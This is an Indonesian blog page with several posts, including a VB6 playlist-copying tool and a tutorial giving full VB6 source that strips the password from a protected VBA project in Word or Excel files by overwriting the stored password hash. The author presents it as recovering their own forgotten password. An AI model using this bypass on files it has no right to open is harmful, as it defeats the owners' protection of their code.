Kemungkinan jika semua langkah yang dijelaskan diatas dicoba dengan sama persis oleh para pemula, maka mungkin hanya membutuhkan waktu kurang dari 10 menit hingga selesai dimasukan dalam selular, pihak editor hanya membutuhkan kurang dari 3 menit untuk menyelesaikannya.

source : demorgand.blogspot.com

Technorati Tags: ,,,


Read More...

Free & Open Source VB 6 : Copy Playlist Winamp Ke Mp3 Player

Kamis, Agustus 21, 2008 | | Comments

Program ini sangat sederhana, dan dibuat asal jadi, tapi dapat dimodifikasi dan dikembangkan sesuai keperluan.
Tapi kalo langsung dijalanin tanpa tau duduk perkaranya, mungkin malah bingung program ini untuk apa, bisa-bisa nuduh si Joko lagi error pas coding, bikin program nggak jelas kayak gini.

Karena itu, pastikan memahami dulu cerita mengapa program ini dibuat... yuukkk... (gaya Tora Sudiro, masing sering gitu nggak dia?)

Alkisah begini...
Gue kan punya banyak tuh koleksi mp3 di harddisk, misalnya strukturnya kayak gini:


\mp3
\Bon Jovi
Always.mp3
It's My Life.mp3
\Madonna
Take a Bow.mp3
La Isla Bonita.mp3
\Helloween
Still I Don't Know.mp3
Why.mp3


ini cuma contoh sederhananya, kenyataannya ada lebih banyak file dan sub folder, nah biasanya gue add semua mp3 itu ke dalam Winamp. Setelah semua ada di playlist Winamp, kan enak tuh buat ngatur-ngaturnya, lagu apa yang kita mau denger, urutannya, lagu apa yang kita mau hapus dari list, dan seterusnya.
Biasanya, gue pilih lagu-lagu yang gue suka, misalnya 10 lagu, sementara lagu-lagu lainnya gue hapus dari list. Nah, 10 lagu itu gue mau copy ke mp3 player jadi bisa gue bawa-bawa dan dengar di luar.

Gimana caranya ngopy 10 lagu itu ke mp3 player gue? Lumayan susah kalo cara manual, kita harus tau path dan nama file mp3 itu, misalnya 10 lagu itu berada di folder yang berbeda-beda, berarti kita harus ke masing-masing folder tersebut dan secara manual copy lagunya ke mp3 player, mending kalo cuma 10 lagu, karena mp3 player sekarang kapasitasnya udah gede-gede, gimana kalo 100 lagu? Panadol kan....

Untuk kegunaan itu lah, program ini tercipta. Langkah-langkahnya:
1. Simpan playlist Winamp berisi lagu-lagu favorit itu ke text file. Caranya klik tombol List Opts - Save List. List yang disimpan akan memiliki extension m3u (sebenernya file text biasa aja), misalnya file bernama laguku.m3u
2. Jalankan program ini, browse ke laguku.m3u, maka program otomatis akan mengcopy seluruh file mp3 ke folder C:\TEMP (kalo nggak ada, create dulu folder ini).
3. Kalo semua lagu sudah terkumpul di satu folder C:\TEMP, tinggal gampang kan pindahin ke mp3 player. Programnya juga bisa dimodifikasi supaya simpan langsung ke drive mp3 player, misalnya.

Udah.. begitu ceritanya. Silahkan digunduh source code-nya di http://joko.nurjadi.googlepages.com/Jn.Mp3Copier.rar

source : jokonurjadi.blogspot.com


Read More...

Mbobol Password VBA

Kamis, Agustus 21, 2008 | | Comments

Setelah sekian lama file ini ga ketemu (Mengapa aku posting ni tulisan karena lebih dari 2 bulan yang lalu aku buat VBA di excell n aku protect dengan password tapi aku lupa tu password hehe maklum pelupa), 1 minggu lalu aku ketemukan akan tetapi akan pindah di hardisk yang salah alias aku pindah di hardisk yang kena badsector jadi ya hilang lagi deh..... Setelah sekian lama aku diamkan tu hardisk sampai 1 minggu maka berhasil juga aku buka tu hardisk, hehe akhirnya aku buatkan juga gimana cara crack atau merubah password pada Microsoft Word maupun Excell yang didalamnya ada VBA yang di password.

Ni Tutorial aku dapatkan pada site www.vb-bego.net pada tahun 2006 yang dibuat oleh Anti Hacker.

Silahkan anda ikuti berikut ini:
Untuk mencoba source ini jalan apa nggak, coba bikin satu dokumen word atau excel, kemudian tekan ALT+F11 (maksudnya biar masuk ke VBA editorya) nah kalo udah berada pada VBA Editor, coba tambahkan beberapa component object. spt: module, form atau class.
Selanjutnya coba kamu proteksi VBA tersebut dengan cara klik kanan pada Project Explorer, kemudian pilih ...Properties...kemudian pilih TAB Protection.
Coba masukan password apa aja untuk mencobanya. kemudian save.
nah sekarang kita tinggal buat programnya.....hm..m...m.mmm..spt biasa tinggal Copy Paste nih source..., ok deh broo selamat mencoba.
Siapkan aja Form1 dan Command1 kemudian Copy Pastekan source berikut


Option Explicit
'// Header Password Untuk VBA
Const vbbego72 = "E9EB458A628A62759E8B62EFEB0B9567D2F09" & _
"604067445E7DBDA0C1565BA2023778FEFF9"
Const vbbego74 = "C2C06E8D52AA52AAAD5653AAE9253D286E4EE" & _
"E66E86F219911B87D7162FD74EEF579FEB513"
Const vbbego76 = "ADAF0155017E1E7E1E81E27F1E1BAF57D1DB8" & _
"E045A28FA28492BA70640C9B1EEEC57ABBBD325"
Const vbbegoxx = "5654FA3F0641585E585EA7A2595EDCE369B3D" & _
"FBAB6E0DBB94699F7682AD4B8EF5510B4E293F62A"
Private Sub Command1_Click()
Dim hFile As String
Dim inFile As Long, nLoop As Long
Dim Header As String
Dim State As Boolean
'// Header Key VBA Password
Header = Chr(&HD) & Chr(&HA) & Chr(&H44) & Chr(&H50) & _
Chr(&H42) & Chr(&H3D) & Chr(&H22)
'// Buka File Excel & Word
hFile = GetFile(Hwnd)
If Trim(hFile) <> "" Then
Dim isiDok As String * 1000
inFile = FileLen(hFile)
'// Lakukan pembackupan dokumen sebelum melakukan perubahan
Dim FileAsli As String
FileAsli = Dir(hFile & ".bak", vbNormal)
If FileAsli = "" Then
FileCopy hFile, hFile & ".bak"
End If
'// Baca Tulis Ke File
Open hFile For Binary Access Read Write As #1
'// Lakukan Pengulangan Menurut Ukuran File tsb
For nLoop = 1 To inFile Step 1000
'// Ambil Data Sebanyak 1000 Karakter
Get #1, nLoop, isiDok
DoEvents
Dim Pos1 As Long, pos2 As Long, pos3 As Long
'// Periksa Header Key Password
Pos1 = Instr(1, isiDok, Header, vbBinaryCompare)
If Pos1 Then
pos2 = nLoop + Pos1 + Len(Header) - 2
'// Ambil data pada pointer setelah Header Key
Get #1, pos2, isiDok
'// Periksa Isi data yg didapat, apakah terdapat End Key?
Pos1 = Instr(1, isiDok, Chr(&HD) & Chr(&HA), vbBinaryCompare)
If Pos1 Then
'// Hitung panjang password yang terdapat pada file
pos3 = Len(Replace(Mid(isiDok, 1, Pos1 - 1), Chr(34), ""))
If pos3 Then
Select Case pos3
Case 72
'// Rubah dengan password baru
Put #1, pos2 + 1, vbbego72
MsgBox "Password: vbbego", 64, "www.vbbego.com"
Case 74
'// Rubah dengan password baru
Put #1, pos2 + 1, vbbego74
MsgBox "Password: vbbego", 64, "www.vbbego.com"
Case 76
'// Rubah dengan password baru
Put #1, pos2 + 1, vbbego76
MsgBox "Password: vbbego", 64, "www.vbbego.com"
Case Else
'// Rubah dengan password baru
'Put #1, pos2 + 1, vbbegoxx
MsgBox "Password: komunitasvbbego", 64, "www.vbbego.com"
End Select
State = True
Exit For
End If '// Pos3
End If '// Pos1->2
End If '// Pos1->1
isiDok = ""
Next nLoop
Close #1
If State = False Then MsgBox "Password Tidak Ditemukan", _
16, "www.vbbego.com"
End If
End Sub


Setelah tu kamu tambahi Module1 kemudian tuliskan code berikut

Option Explicit
Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias _
"GetOpenFileNameA" (pOpenfilename As OPENFILENAME) As Long
Private Type OPENFILENAME
lStructSize As Long
hwndOwner As Long
hInstance As Long
lpstrFilter As String
lpstrCustomFilter As String
nMaxCustFilter As Long
nFilterIndex As Long
lpstrFile As String
nMaxFile As Long
lpstrFileTitle As String
nMaxFileTitle As Long
lpstrInitialDir As String
lpstrTitle As String
flags As Long
nFileOffset As Integer
nFileExtension As Integer
lpstrDefExt As String
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type
Function GetFile(Hwnd As Long) As String
Dim OFName As OPENFILENAME
OFName.lStructSize = Len(OFName)
OFName.hwndOwner = Hwnd
OFName.hInstance = App.hInstance
OFName.lpstrFilter = "Ms Ofice97/XP/2003(*.doc;*.xls)" _
+ Chr$(0) + "*.doc;*.xls" + Chr$(0) _
+ "Kabeh File (*.*)" + Chr$(0) + "*.*" + Chr$(0)
OFName.lpstrFile = Space$(254)
OFName.nMaxFile = 255
OFName.lpstrFileTitle = Space$(254)
OFName.nMaxFileTitle = 255
OFName.lpstrInitialDir = "C:\"
OFName.lpstrTitle = "Open File - vbBego Team 2000"
OFName.flags = 0
If GetOpenFileName(OFName) Then
GetFile = Left(OFName.lpstrFile, _
InStr(1, OFName.lpstrFile, Chr(0)) - 1)
Else
GetFile = ""
End If
End Function


Setelah selesaikan tinggal di jalankan deh dengan menekan tombol F5. Klik Aja command1 kememudian cari dokumen yang ada VBA terpassword (jangan lupa ditutup dulu ya dokumennya)
Bagi yang susah mencopy pastekan tu source code silahkan ambil aja source codenya langsung yang aku tulis. klik disini

source : s0dikin.blogspot.com

Technorati Tags: ,,


Read More...